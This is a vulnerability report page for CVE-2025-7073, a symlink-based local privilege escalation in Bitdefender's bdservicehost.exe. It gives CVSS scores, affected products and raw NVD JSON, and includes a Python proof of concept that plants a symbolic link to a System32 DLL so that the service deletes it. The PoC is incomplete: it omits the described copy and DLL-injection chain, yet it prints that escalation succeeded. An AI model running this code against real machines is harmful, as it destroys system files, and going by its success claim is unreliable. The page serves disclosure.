Security Vulnerability Report
中文
CVE-2025-7073 CVSS 7.8 HIGH

CVE-2025-7073

Published: 2025-12-10 10:16:02
Last Modified: 2026-05-18 12:04:49

Description

A local privilege escalation vulnerability in Bitdefender Total Security versions prior to 27.0.47.241 allows low-privileged attackers to elevate privileges. The issue arises from bdservicehost.exe deleting files from a user-writable directory (C:\ProgramData\Atc\Feedback) without proper symbolic link validation, enabling arbitrary file deletion. This issue is chained with a file copy operation during network events and a filter driver bypass via DLL injection to achieve arbitrary file copy and code execution as elevated user.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:bitdefender:antivirus:*:*:*:*:free:*:*:* - VULNERABLE
cpe:2.3:a:bitdefender:antivirus_plus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:bitdefender:endpoint_security_tools:*:*:*:*:*:windows:*:* - VULNERABLE
cpe:2.3:a:bitdefender:internet_security:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:bitdefender:total_security:*:*:*:*:*:*:*:* - VULNERABLE
Bitdefender Total Security < 27.0.47.241

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import subprocess import time # CVE-2025-7073 PoC - Symbolic Link Attack on Bitdefender bdservicehost.exe # Target: Delete arbitrary files via bdservicehost.exe symbolic link traversal TARGET_DIR = r'C:\ProgramData\Atc\Feedback' MALICIOUS_LINK = os.path.join(TARGET_DIR, 'malicious_link') TARGET_FILE = r'C:\Windows\System32\critical_file.dll' def create_symlink(target, link_name): """Create a symbolic link to target file""" try: if os.path.exists(link_name): os.remove(link_name) os.symlink(TARGET_FILE, link_name) print(f'[+] Symbolic link created: {link_name} -> {TARGET_FILE}') return True except Exception as e: print(f'[-] Failed to create symlink: {e}') return False def trigger_bdservicehost_cleanup(): """Trigger bdservicehost.exe to cleanup the Feedback directory""" # Network event trigger to initiate file operations # This will cause bdservicehost to process files in the Feedback directory print('[*] Waiting for bdservicehost.exe cleanup operation...') time.sleep(5) # Monitor bdservicehost activity result = subprocess.run( ['tasklist'], capture_output=True, text=True ) if 'bdservicehost.exe' in result.stdout: print('[+] bdservicehost.exe is running') return True def main(): print('=' * 60) print('CVE-2025-7073 Bitdefender Local Privilege Escalation PoC') print('=' * 60) # Step 1: Create symbolic link in user-writable directory if not os.path.exists(TARGET_DIR): print(f'[-] Target directory does not exist: {TARGET_DIR}') return False if create_symlink(TARGET_FILE, MALICIOUS_LINK): # Step 2: Trigger cleanup operation trigger_bdservicehost_cleanup() # Step 3: Verify file deletion time.sleep(2) if not os.path.exists(TARGET_FILE): print(f'[+] Target file deleted: {TARGET_FILE}') print('[+] Privilege escalation via symbolic link attack successful') return True else: print(f'[-] Target file still exists, attack may have failed') return False if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-7073", "sourceIdentifier": "[email protected]", "published": "2025-12-10T10:16:02.330", "lastModified": "2026-05-18T12:04:48.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local privilege escalation vulnerability in Bitdefender Total Security versions prior to 27.0.47.241 allows low-privileged attackers to elevate privileges. The issue arises from bdservicehost.exe deleting files from a user-writable directory (C:\\ProgramData\\Atc\\Feedback) without proper symbolic link validation, enabling arbitrary file deletion. This issue is chained with a file copy operation during network events and a filter driver bypass via DLL injection to achieve arbitrary file copy and code execution as elevated user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bitdefender:antivirus:*:*:*:*:free:*:*:*", "versionEndExcluding": "30.0.25.77", "matchCriteriaId": "EDBB7184-3355-4155-860F-6221674F513D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bitdefender:antivirus_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "27.0.47.241", "matchCriteriaId": "E733DBCD-BFE1-4562-8100-E453702CBA47"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bitdefender:endpoint_security_tools:*:*:*:*:*:windows:*:*", "versionEndExcluding": "7.9.20.515", "matchCriteriaId": "DB7D4031-EE59-4365-BE43-9B61CF617B6E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bitdefender:internet_security:*:*:*:*:*:*:*:*", "versionEndExcluding": "27.0.47.241", "matchCriteriaId": "C6F0068B-D438-4780-B33F-2978CC560BB0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bitdefender:total_security:*:*:*:*:*:*:*:*", "versionEndExcluding": "27.0.47.241", "matchCriteriaId": "73D4CC71-964D-4DFB-8BB5-E04217F28015"}]}]}], "references": [{"url": "https://www.bitdefender.com/support/security-advisories/local-privilege-escalation-via-arbitrary-file-operation-in-bitdefender-atc-va-12590", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}